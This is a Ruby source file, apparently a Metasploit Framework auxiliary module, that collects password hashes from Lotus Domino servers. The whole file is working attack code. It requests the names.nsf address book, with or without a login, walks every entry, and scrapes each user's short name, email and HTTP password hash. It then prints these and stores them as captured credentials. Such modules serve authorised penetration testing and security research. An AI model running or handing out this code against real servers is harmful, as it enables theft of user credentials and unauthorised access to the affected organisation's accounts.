metasploit-framework/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner

	def initialize
		super(
			'Name'           => 'Lotus Domino Password Hash Collector',
			'Version'        => '$Revision$',
			'Description'    => 'Get users passwords hashes from names.nsf page',
			'Author'         => 'Tiago Ferreira <tiago.ccna[at]gmail.com>',
			'License'        => MSF_LICENSE
		)

	register_options(
		[ Opt::RPORT(80),
			OptString.new('NOTES_USER', [false, 'The username to authenticate as', '']),
			OptString.new('NOTES_PASS', [false, 'The password for the specified username' ]),
			OptString.new('URI', [false, 'Define the path to the names.nsf file', '/names.nsf']),
		], self.class)

	end

	def run_host(ip)

		user = datastore['NOTES_USER'].to_s
		pass = datastore['NOTES_PASS'].to_s
		$uri =  datastore['URI'].to_s

		if (user.length == 0 and pass.length == 0)
			print_status("http://#{vhost}:#{rport} - Lotus Domino - Trying dump password hashes without credentials")

			begin
				res = send_request_raw({
					'method'  => 'GET',
					'uri'     => "#{$uri}\/$defaultview?Readviewentries",
				}, 25)

				if (res and res.body.to_s =~ /\<viewentries/)
					print_good("http://#{vhost}:#{rport} - Lotus Domino - OK names.nsf accessible without credentials")
					cookie = ''
					get_views(cookie,$uri)

				elsif (res and res.body.to_s =~ /names.nsf\?Login/)
					print_error("http://#{vhost}:#{rport} - Lotus Domino - The remote server requires authentication")
					return :abort

				else
					print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized #{res.code} response")
					print_error(res.inspect)
					return :abort

				end

				rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
				rescue ::Timeout::Error, ::Errno::EPIPE
			end

		else
			print_status("http://#{vhost}:#{rport} - Lotus Domino - Trying dump password hashes with given credentials")
			do_login(user, pass)

		end

	end


	def do_login(user=nil,pass=nil)
		post_data = "username=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&RedirectTo=%2Fnames.nsf"

		begin

			res = send_request_cgi({
				'method'  => 'POST',
				'uri'     => '/names.nsf?Login',
				'data'    => post_data,
			}, 20)

			if (res and res.code == 302 )
				if res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/DomAuthSessId=(.*);(.*)/i)
					cookie = "DomAuthSessId=#{$1}"
				elsif res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/LtpaToken=(.*);(.*)/i)
					cookie = "LtpaToken=#{$1}"
				else
					print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized 302 response")
					return :abort
				end
				print_good("http://#{vhost}:#{rport} - Lotus Domino - SUCCESSFUL authentication for '#{user}'")
				print_status("http://#{vhost}:#{rport} - Lotus Domino - Getting password hashes")
				get_views(cookie,$uri)

			elsif (res and res.body.to_s =~ /names.nsf\?Login/)
					print_error("http://#{vhost}:#{rport} - Lotus Domino - Authentication error: failed to login as '#{user}'")
					return :abort

			else
				print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized #{res.code} response")
				return :abort
			end

			rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			rescue ::Timeout::Error, ::Errno::EPIPE
		end

	end

	def get_views(cookie,uri)

		begin
			res = send_request_raw({
				'method'  => 'GET',
				'uri'     => "#{uri}\/$defaultview?Readviewentries",
				'cookie'  => cookie,
			}, 25)
			if (res and res.body)
				max = res.body.scan(/siblings=\"(.*)\"/)[0].join

				1.upto(max.to_i) {|i|
					res = send_request_raw({
						'method'  => 'GET',
						'uri'     => "#{uri}\/$defaultview?Readviewentries&Start=#{i}",
						'cookie'  => cookie,
					}, 25)

				viewId = res.body.scan(/unid="([^\s]+)"/)[0].join
				dump_hashes(viewId,cookie,uri)
				}

			end

			rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			rescue ::Timeout::Error, ::Errno::EPIPE
		end
	end

	def dump_hashes(view_id,cookie,uri)

		begin
			res = send_request_raw({
				'method'  => 'GET',
				'uri'     => "#{uri}\/$defaultview/#{view_id}?OpenDocument",
				'cookie'  => cookie,
			}, 25)

			if (res and res.body)
				short_name = res.body.scan(/<INPUT NAME=\"ShortName\" TYPE=(?:.*) VALUE=\"([^\s]+)"/i).join
				user_mail = res.body.scan(/<INPUT NAME=\"InternetAddress\" TYPE=(?:.*) VALUE=\"([^\s]+)"/i).join
				pass_hash = res.body.scan(/<INPUT NAME=\"dspHTTPPassword\" TYPE=(?:.*) VALUE=\"([^\s]+)"/i).join

				if short_name.to_s.strip.empty?
					short_name = 'NULL'
				end

				if user_mail.to_s.strip.empty?
					user_mail = 'NULL'
				end

				if pass_hash.to_s.strip.empty?
					pass_hash = 'NULL'
				end

				print_good("http://#{vhost}:#{rport} - Lotus Domino - Account Found: #{short_name}, #{user_mail}, #{pass_hash}")

				if pass_hash != 'NULL'
					domino_svc = report_service(
						:host => rhost,
						:port => rport,
						:name => "http"
					)
					report_auth_info(
						:host        => rhost,
						:port        => rport,
						:sname       => 'http',
						:user        => short_name,
						:pass        => pass_hash,
						:ptype       => "domino_hash",
						:source_id => domino_svc.id,
						:source_type => "service",
						:proof       => "WEBAPP=\"Lotus Domino\", USER_MAIL=#{user_mail}, HASH=#{pass_hash}, VHOST=#{vhost}",
						:active      => true
					)
				end
			end

			rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			rescue ::Timeout::Error, ::Errno::EPIPE
		end
	end
end